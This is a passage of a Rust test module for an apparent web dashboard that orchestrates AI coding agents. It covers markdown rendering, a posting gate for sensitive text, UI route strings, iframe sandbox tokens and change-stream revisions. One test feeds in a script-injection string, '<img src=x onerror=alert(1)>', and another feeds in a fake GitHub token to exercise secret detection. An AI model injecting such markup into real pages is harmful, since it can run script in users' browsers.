22201 None,
22202 None,
22203 None,
22204 ))
22205 .unwrap();
22206 assert_eq!(v["done"], done, "{status:?}");
22207 }
22208 }
22209
22210 fn has_strong(nodes: &[md::Node]) -> bool {
22212 serde_json::to_string(nodes).unwrap().contains("strong")
22213 }
22214
22215 #[test]
22216 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
22217 let mut state = RunState::new(
22218 std::path::PathBuf::from("/repo"),
22219 "main".to_owned(),
22220 "abc".to_owned(),
22221 "x".to_owned(),
22222 crate::config::Config::default(),
22223 );
22224 let proposal = |approach: &str| {
22225 serde_json::json!({
22226 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
22227 })
22228 };
22229 state.advice = Some(
22230 serde_json::from_value(serde_json::json!({
22231 "records": [
22232 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
22233 "proposal": proposal("do **this**")},
22234 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
22235 ],
22236 "synthesis": "- one\n- **two**\n\n`code`",
22237 }))
22238 .unwrap(),
22239 );
22240 state.candidates = serde_json::from_value(serde_json::json!([
22241 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
22242 "summary": "did **it**"},
22243 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
22244 ]))
22245 .unwrap();
22246 state.reviews = serde_json::from_value(serde_json::json!([{
22249 "round": 1, "head": "h",
22250 "reviews": [{
22251 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
22252 "findings": [
22253 {"severity": "nit", "title": "t1", "detail": "plain nit"},
22254 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
22255 ],
22256 }],
22257 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
22258 "fix": {"agent": "a", "notes": "fixed **it**",
22259 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
22260 }, {"round": 2, "head": "h2", "reviews": []}]))
22261 .unwrap();
22262
22263 let v = serde_json::to_value(RunDetailView::of(
22264 state,
22265 false,
22266 crate::run::Liveness::Unknown,
22267 None,
22268 None,
22269 None,
22270 ))
22271 .unwrap();
22272
22273 let strong = |p: &str| {
22274 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
22275 assert!(n.to_string().contains("strong"), "{p}: {n}");
22276 };
22277 strong("/advice_md/synthesis");
22278 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
22279 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
22280 strong("/advice_md/approaches/0");
22281 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
22282 strong("/candidate_summaries_md/0");
22283 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
22284 strong("/reviews_md/0/reviewers/0/summary");
22285 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
22286 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
22287 assert!(f[1].to_string().contains("strong"));
22288 strong("/reviews_md/0/reconsideration/0");
22289 strong("/reviews_md/0/fix/notes");
22290 strong("/reviews_md/0/fix/rejected/0");
22291 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
22292 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
22293 assert_eq!(v["candidates"][0]["summary"], "did **it**");
22295 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
22296 }
22297
22298 #[test]
22299 fn a_run_without_advice_has_no_advice_md() {
22300 let state = RunState::new(
22301 std::path::PathBuf::from("/repo"),
22302 "main".to_owned(),
22303 "abc".to_owned(),
22304 "x".to_owned(),
22305 crate::config::Config::default(),
22306 );
22307 let p = run_prose_md(&state);
22308 assert!(p.advice_md.is_none());
22309 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
22310 }
22311
22312 #[test]
22313 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
22314 let store = ask::Questions::at(PathBuf::from("unused"));
22315 let gt = crate::github_text::Withheld {
22316 title: false,
22317 body: true,
22318 categories: vec!["sensitive-data".into()],
22319 };
22320 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
22321 let (detail, comparison) =
22322 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
22323 let mut q = Question::new(
22324 "r".into(),
22325 "github-text".into(),
22326 "posting-gate".into(),
22327 "s".into(),
22328 detail,
22329 Vec::new(),
22330 );
22331 assert!(
22332 QuestionView::of(q.clone(), &store, None)
22333 .posting_view
22334 .is_none()
22335 );
22336 q.posting_comparison = Some(comparison);
22337 let view = QuestionView::of(q.clone(), &store, None);
22338 let field = &view.posting_view.unwrap().fields[0];
22339 assert_eq!(
22340 field
22341 .original
22342 .iter()
22343 .map(|f| f.text.as_str())
22344 .collect::<String>(),
22345 body
22346 );
22347 assert!(field.original[0].text.starts_with("<img"));
22348 let original_question: Question =
22349 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
22350 assert_eq!(original_question, q);
22351 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
22352 .original
22353 .start = 1;
22354 assert!(
22355 QuestionView::of(q.clone(), &store, None)
22356 .posting_view
22357 .is_none()
22358 );
22359 q.posting_comparison = original_question.posting_comparison;
22360 q.detail.push_str("extra context");
22361 assert!(
22362 QuestionView::of(q.clone(), &store, None)
22363 .posting_view
22364 .is_some()
22365 );
22366 q.detail.insert(0, 'x');
22367 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
22368 }
22369
22370 #[test]
22371 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
22372 let store = ask::Questions::at(PathBuf::from("unused"));
22373 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
22374 let gt = crate::github_text::Withheld::from_check(
22375 &crate::github_text::check("fix: x", body),
22376 "fix: x",
22377 body,
22378 )
22379 .unwrap();
22380 let (detail, comparison) =
22381 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
22382 let mut q = Question::new(
22383 "r".into(),
22384 "github-text".into(),
22385 "posting-gate".into(),
22386 "s".into(),
22387 detail,
22388 Vec::new(),
22389 );
22390 q.posting_comparison = Some(comparison);
22391 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
22392 let field = &value["posting_view"]["fields"][0];
22393 let group = &field["replacement_group"];
22394 let triggers = group["triggers"].as_array().unwrap();
22395 assert_eq!(triggers.len(), 2);
22396 assert_ne!(triggers[0], triggers[1]);
22397 for id in triggers {
22398 assert!(
22399 field["original"]
22400 .as_array()
22401 .unwrap()
22402 .iter()
22403 .any(|f| &f["pair"] == id)
22404 );
22405 assert!(
22406 !field["changed"]
22407 .as_array()
22408 .unwrap()
22409 .iter()
22410 .any(|f| &f["pair"] == id)
22411 );
22412 }
22413 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
22414 group["id"].as_u64().unwrap() as usize;
22415 assert!(
22416 QuestionView::of(q, &store, None).posting_view.is_none(),
22417 "group and trigger IDs cannot collide"
22418 );
22419 }
22420
22421 #[test]
22422 fn a_question_view_carries_markdown_for_each_thread_turn() {
22423 let home = TempDir::new().unwrap();
22424 let store = ask::Questions::at(home.path().join("questions"));
22425 let mut q = Question::new(
22426 "run".to_owned(),
22427 "implement".to_owned(),
22428 "impl-A".to_owned(),
22429 "which?".to_owned(),
22430 String::new(),
22431 Vec::new(),
22432 );
22433 q.say("plain words").unwrap();
22434 q.reply("use **this**", Vec::new()).unwrap();
22435 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
22436 let bodies = &v["thread_bodies_md"];
22437 assert_eq!(bodies.as_array().unwrap().len(), 2);
22438 assert!(!bodies[0].to_string().contains("strong"));
22439 assert!(bodies[1].to_string().contains("strong"));
22440 }
22441
22442 #[test]
22443 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
22444 let home = TempDir::new().unwrap();
22445 let store = ask::Questions::at(home.path().join("questions"));
22446 let mut q = Question::new(
22447 "run".to_owned(),
22448 "conduct".to_owned(),
22449 "conduct".to_owned(),
22450 "which?".to_owned(),
22451 String::new(),
22452 Vec::new(),
22453 );
22454 q.say("plain words").unwrap();
22455 q.thread.push(ask::Turn {
22456 who: ask::Who::Agent,
22457 body: "Settled as `merge`".to_owned(),
22458 at: jiff::Timestamp::now(),
22459 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
22460 });
22461 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
22462 let notes = &v["thread_notes_md"];
22463 assert_eq!(notes.as_array().unwrap().len(), 2);
22464 assert!(notes[0].is_null());
22465 let text = notes[1].to_string();
22466 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
22467 assert!(APP_JS.contains("ask-turn-note"));
22468 }
22469
22470 #[test]
22471 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
22472 assert!(APP_JS.contains("function landView(run, raw) {"));
22476 assert!(
22477 APP_JS.contains(
22478 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
22479 )
22480 );
22481 assert!(APP_JS.contains("const pr = landView(run, raw);"));
22482 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
22483 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
22484 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
22485 }
22486
22487 #[test]
22488 fn live_runs_are_never_hidden_or_folded_as_superseded() {
22489 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
22490 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
22491 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
22492 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
22493 }
22494
22495 #[test]
22496 fn review_rounds_label_a_distinct_verified_head() {
22497 assert!(APP_JS.contains("round.verified_head"));
22498 assert!(APP_JS.contains("verified HEAD"));
22499 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
22500 }
22501
22502 #[test]
22503 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
22504 assert!(APP_JS.contains("blocked: { glyph:"));
22508 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
22509
22510 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
22514 assert!(
22515 APP_JS.contains(
22516 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
22517 ),
22518 "the note line must name what a blocked task is waiting on, not just that it is blocked"
22519 );
22520 assert!(APP_JS.contains("if (status === \"blocked\") {"));
22524
22525 assert!(APP_JS.contains("dependencies: \"/api/dependencies\""));
22528 assert!(!APP_JS.contains("function depNode("));
22529 assert!(!APP_JS.contains("function dependencyRanks("));
22530
22531 assert!(APP_JS.contains("Resolved questions"));
22534 assert!(APP_JS.contains("r.answersList.append("));
22535 assert!(APP_CSS.contains(".task-answers"));
22536 {
22537 let start = APP_JS
22538 .find("function updateTalkTaskRow")
22539 .expect("updateTalkTaskRow");
22540 let body = &APP_JS[start..];
22541 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
22542 assert!(
22543 body.contains(
22544 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
22545 ),
22546 "a chat-filed task row must link to the task page"
22547 );
22548 assert!(
22549 !body.contains("#/runs/") && !body.contains("#/queue/"),
22550 "the row must not branch to a run or the queue card"
22551 );
22552 assert!(APP_CSS.contains(".talk-task-link"));
22553 }
22554 }
22555
22556 #[test]
22557 fn a_task_notification_links_to_the_task_page() {
22558 let start = APP_JS
22560 .find("function noticeLink(")
22561 .expect("noticeLink exists");
22562 let body = &APP_JS[start..];
22563 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
22564 assert!(
22565 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
22566 "a task notice's link must target the task page"
22567 );
22568 assert!(
22569 !body.contains("#/queue/"),
22570 "regression: the task link must not go back to the Backlog route"
22571 );
22572 assert!(
22573 APP_JS.contains(
22574 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
22575 ),
22576 "`#/tasks/<id>` must parse into the task route"
22577 );
22578
22579 assert!(
22581 APP_JS.contains(
22582 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
22583 ),
22584 "`#/queue/<id>` must parse into a route carrying that id"
22585 );
22586
22587 assert!(APP_JS.contains("state.queueFocus = route.id;"));
22591 assert!(APP_JS.contains("function consumeQueueFocus()"));
22592 assert!(APP_JS.contains("jumpToTask(id)"));
22593 }
22594
22595 #[test]
22596 fn notifications_distinguish_actionable_questions_from_informational_notices() {
22597 let start = APP_JS
22598 .find("function noticeCoveredBy(")
22599 .expect("noticeCoveredBy exists");
22600 let body = &APP_JS[start..];
22601 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
22602
22603 assert!(body.contains("Associated question ${short}"));
22605 assert!(!body.contains("el(\"a\""));
22606
22607 assert!(body.contains("(resolved)"));
22609 assert!(body.contains("(closed)"));
22610
22611 let start = APP_JS
22612 .find("function renderNotifications()")
22613 .expect("renderNotifications exists");
22614 let body = &APP_JS[start..];
22615 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
22616
22617 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
22619 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
22620 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
22621 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
22622 }
22623
22624 #[test]
22627 fn chat_rows_put_the_title_alone_on_the_first_line() {
22628 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
22629 assert!(APP_CSS.contains(
22630 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
22631 ));
22632 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
22633 assert!(APP_JS.contains("class: \"badge talk-unread\""));
22634 }
22635
22636 #[test]
22637 fn run_rows_put_the_title_alone_on_the_first_line() {
22638 assert!(
22639 APP_CSS.contains(
22640 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
22641 )
22642 );
22643 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
22644 assert!(APP_JS.contains("class: \"card run-card\""));
22645 assert!(APP_JS.contains("class: \"repo run-id\""));
22646 }
22647
22648 #[test]
22652 fn wide_screens_show_list_and_preview_side_by_side() {
22653 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
22655 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
22656 assert!(APP_CSS.contains("main[data-split]"));
22657 assert!(APP_CSS.contains("body[data-split]"));
22658
22659 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
22661 assert!(
22662 APP_JS.contains(
22663 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
22664 )
22665 );
22666 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
22667 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
22668 assert!(INDEX_HTML.contains("id=\"split-empty\""));
22669
22670 assert!(APP_JS.contains("function markSelected() {"));
22672 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
22673 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
22674 assert!(
22676 APP_CSS.contains(
22677 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
22678 )
22679 );
22680
22681 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
22683 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
22684 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
22685 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
22686
22687 assert!(APP_JS.contains("if (state.detail !== detail) return;"));
22691 assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
22692 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
22693 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
22694
22695 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
22697 }
22698
22699 #[test]
22700 fn panel_sandbox_carries_exactly_popups() {
22701 let needle = "sandbox: \"";
22702 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
22703 assert_eq!(
22704 matches.len(),
22705 1,
22706 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
22707 );
22708 let start = matches[0].0 + needle.len();
22709 let end = APP_JS[start..]
22710 .find('"')
22711 .expect("sandbox attribute value must be terminated by a closing quote");
22712 let val = &APP_JS[start..start + end];
22713 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
22714 let expected: std::collections::BTreeSet<&str> =
22715 ["allow-popups", "allow-popups-to-escape-sandbox"]
22716 .into_iter()
22717 .collect();
22718 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
22719 assert!(
22720 !tokens.contains("allow-scripts"),
22721 "allow-scripts must never be present in sandbox"
22722 );
22723 assert!(
22724 !tokens.contains("allow-same-origin"),
22725 "allow-same-origin must never be present in sandbox"
22726 );
22727 }
22728
22729 #[test]
22730 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
22731 assert!(
22740 APP_JS.contains(
22741 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
22742 ),
22743 "the search-clearing branch must run before state.queueFocus is cleared, or the \
22744 recursive renderQueue() call has nothing left to jump to"
22745 );
22746 assert!(
22747 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
22748 "state.queueFocus must be cleared only once the jump has landed, so a card that \
22749 arrives later still gets it"
22750 );
22751 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
22752 assert!(APP_JS.contains("is not in the current Backlog."));
22753 assert!(APP_JS.contains("li.card[data-task-id=\""));
22754 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
22755 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
22756 assert!(APP_CSS.contains(".card-permalink"));
22757 assert!(APP_CSS.contains(".queue-focus-status"));
22758 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
22759 }
22760
22761 #[test]
22762 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
22763 assert!(
22771 APP_JS.contains(
22772 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
22773 ),
22774 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
22775 );
22776 }
22777
22778 #[test]
22779 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
22780 assert!(
22781 APP_JS.contains("round.verified_head !== round.head"),
22782 "a round that verified an earlier commit must be visibly distinct from one that \
22783 verified the head reviewers are looking at now"
22784 );
22785 assert!(
22786 APP_JS.contains("round.verified_at"),
22787 "when a check ran must be on the wire, not just which commit"
22788 );
22789 assert!(
22790 APP_JS.contains("resource_blocked"),
22791 "a command magi never got to run (shared build cache contention) must not render \
22792 the same as a command that ran and failed"
22793 );
22794 }
22795
22796 #[test]
22797 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
22798 assert!(
22806 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
22807 "every KPI tile built through statusTile() must route its click through \
22808 openRunsFiltered, the single place that sets the Runs filter"
22809 );
22810 for (label, status) in [
22811 ("Merged", "merged"),
22812 ("Ready", "ready"),
22813 ("Blocked", "blocked"),
22814 ("Stalled", "stalled"),
22815 ] {
22816 let call = format!("statusTile(\"{label}\", t.{status}, ");
22817 assert!(
22818 APP_JS.contains(&call),
22819 "expected the {label} KPI tile built via {call}..."
22820 );
22821 assert!(
22822 APP_JS.contains(&format!("status === \"{status}\"")),
22823 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
22824 compare a run against, not one invented only for the stats tile"
22825 );
22826 }
22827 assert!(
22828 APP_JS.contains("function openRunsFiltered(status)"),
22829 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
22830 );
22831 assert!(
22832 APP_JS.contains(
22833 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
22834 ),
22835 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
22836 );
22837 assert!(
22845 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
22846 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
22847 hashchange event that may never fire"
22848 );
22849 }
22850
22851 #[test]
22852 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
22853 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
22859 assert!(
22860 APP_JS.contains(
22861 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
22862 ),
22863 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
22864 guard for an incompatible tree section"
22865 );
22866 }
22867
22868 #[test]
22869 fn every_stats_queue_tile_names_a_real_queue_section() {
22870 assert!(
22876 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
22877 "every queue tile built through sectionTile() must route its click through \
22878 openQueueSectionFocus"
22879 );
22880 for key in ["upnext", "running", "done", "held", "blocked"] {
22881 assert!(
22882 APP_JS.contains(&format!("{{ key: \"{key}\",")),
22883 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
22884 );
22885 }
22886 for line in [
22890 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
22891 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
22892 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
22893 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
22894 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
22895 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
22896 ] {
22897 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
22898 }
22899 }
22900
22901 #[test]
22902 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
22903 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
22910 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
22911 assert!(APP_JS.contains("function revealQueueSection(details)"));
22912 assert!(
22913 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
22914 "renderQueue() must consume both focus channels on every pass"
22915 );
22916 assert!(
22917 APP_JS.contains(
22918 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
22919 ),
22920 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
22921 the recursive renderQueue() call has nothing left to reveal"
22922 );
22923 assert!(
22924 APP_JS.contains(
22925 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
22926 ),
22927 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
22928 );
22929 assert!(
22937 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
22938 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
22939 hashchange event that may never fire"
22940 );
22941 }
22942
22943 #[tokio::test]
22944 async fn the_change_stream_announces_the_current_revisions_on_connect() {
22945 let f = Fixture::start().await;
22946
22947 let mut socket = tokio::net::TcpStream::connect(f.addr)
22948 .await
22949 .expect("connect");
22950 socket
22951 .write_all(
22952 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
22953 )
22954 .await
22955 .expect("write request");
22956
22957 let mut seen = String::new();
22960 let mut buf = [0u8; 1024];
22961 while !seen.contains("event: change") {
22962 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
22963 .await
22964 .expect("the stream must speak within five seconds")
22965 .expect("read");
22966 assert!(read > 0, "the server closed the change stream: {seen}");
22967 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
22968 }
22969
22970 assert!(
22971 seen.to_lowercase()
22972 .contains("content-type: text/event-stream"),
22973 "the browser only reconnects automatically for a real SSE stream: {seen}"
22974 );
22975 let data = seen
22976 .lines()
22977 .find_map(|l| l.strip_prefix("data:"))
22978 .expect("a data line");
22979 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
22980 assert!(
22981 payload["queue_rev"].is_u64()
22982 && payload["runs_rev"].is_u64()
22983 && payload["questions_rev"].is_u64()
22984 && payload["talks_rev"].is_u64()
22985 && payload["notifications_rev"].is_u64()
22986 && payload["loop_rev"].is_u64(),
22987 "the client needs one revision per store to know what to refetch, \
22988 and `talks_rev` is the only notification a standing talk gets - a \
22989 phone whose radio slept through a turn learns about it here, as \
22990 does one whose operator started the loop from another device: \
22991 {payload}"
22992 );
22993
22994 let health = f.get("/api/health").await.json();
23001 for key in [
23002 "queue_rev",
23003 "runs_rev",
23004 "questions_rev",
23005 "talks_rev",
23006 "notifications_rev",
23007 "loop_rev",
23008 ] {
23009 assert!(
23010 health[key].is_u64(),
23011 "health is the change stream's fallback and is missing `{key}`: {health}"
23012 );
23013 }
23014 }
23015
23016 #[tokio::test]
23017 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
23018 let home = TempDir::new().expect("temp home");
23019 let ui = delta_test_ui(home.path());
23020 let talk = seed_talk_at(&ui.talks, "20260904-014455-ab12", "open");
23021 let before = ui.monitor.revisions(&ui).await.expect("initial scan").3;
23025 let mut changes = ui.monitor.broadcaster.subscribe();
23026 let mut on_disk = ui.talks.get(&talk).expect("get seeded talk");
23027 on_disk.turns.push(crate::talk::Turn {
23028 sender: None,
23029 breaks: Some(Vec::new()),
23030 messages: Vec::new(),
23031 posted_by: None,
23032 who: crate::talk::Who::Operator,
23033 body: "a new turn".to_owned(),
23034 at: Timestamp::now(),
23035 attachments: Vec::new(),
23036 usage: None,
23037 });
23038 ui.talks.put(&mut on_disk).expect("record a turn");
23039
23040 let after = tokio::time::timeout(Duration::from_secs(5), async {
23041 loop {
23042 let change = changes.recv().await.expect("monitor notification");
23043 let revision = change.payload["talks_rev"].as_u64().expect("talks_rev");
23044 if revision != before {
23045 assert_eq!(
23046 change.payload["talks_delta"]["changed"],
23047 serde_json::json!([talk])
23048 );
23049 break revision;
23050 }
23051 }
23052 })
23053 .await
23054 .expect("shared monitor observes external turn");
23055 assert_ne!(
23056 before, after,
23057 "a phone must be able to notice a talk's reply without polling every store"
23058 );
23059 let Json(observed) = health(State(ui)).await.expect("health");
23060 assert_eq!(
23061 observed.talks_rev, after,
23062 "health exposes the same revision"
23063 );
23064 }
23065
23066 #[test]
23067 fn bind_reads_back_from_the_spelling_the_cli_prints() {
23068 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
23072 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
23073 }
23074 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
23075 assert!("everywhere".parse::<Bind>().is_err());
23076 }
23077
23078 #[test]
23079 fn an_explicit_bind_address_is_taken_verbatim() {
23080 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
23081
23082 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
23083
23084 assert_eq!(addr, asked);
23085 assert!(
23086 warning.is_none(),
23087 "an operator who named an address gets no lecture"
23088 );
23089 }
23090
23091 #[test]
23092 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
23093 let (addr, warning) = resolve_bind(&Bind::Auto);
23094
23095 match addr {
23102 IpAddr::V4(ip) if is_tailnet(&ip) => {
23103 assert!(warning.is_none(), "a tailnet address needs no warning");
23104 }
23105 other => {
23106 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
23107 let warning = warning.expect("a fallback has to explain itself");
23108 assert!(
23109 warning.contains("127.0.0.1") && warning.contains("local-only"),
23110 "the warning says what happened and what it costs: {warning}"
23111 );
23112 }
23113 }
23114 }
23115
23116 #[test]
23117 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
23118 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
23122 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
23123 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
23124 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
23125 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
23126 }
23127
23128 #[test]
23129 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
23130 let ids = vec![
23131 "20260902-140501-aaaa".to_owned(),
23132 "20260902-140502-aabb".to_owned(),
23133 ];
23134
23135 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
23136 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
23137 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
23138
23139 assert_eq!(missing.status, StatusCode::NOT_FOUND);
23140 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
23141 assert_eq!(short, "20260902-140502-aabb");
23142 }
23143 #[tokio::test]
23144 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
23145 let fx = Fixture::start().await;
23151 let id = panel(
23152 &fx,
23153 "<img src=\"shot.png\">",
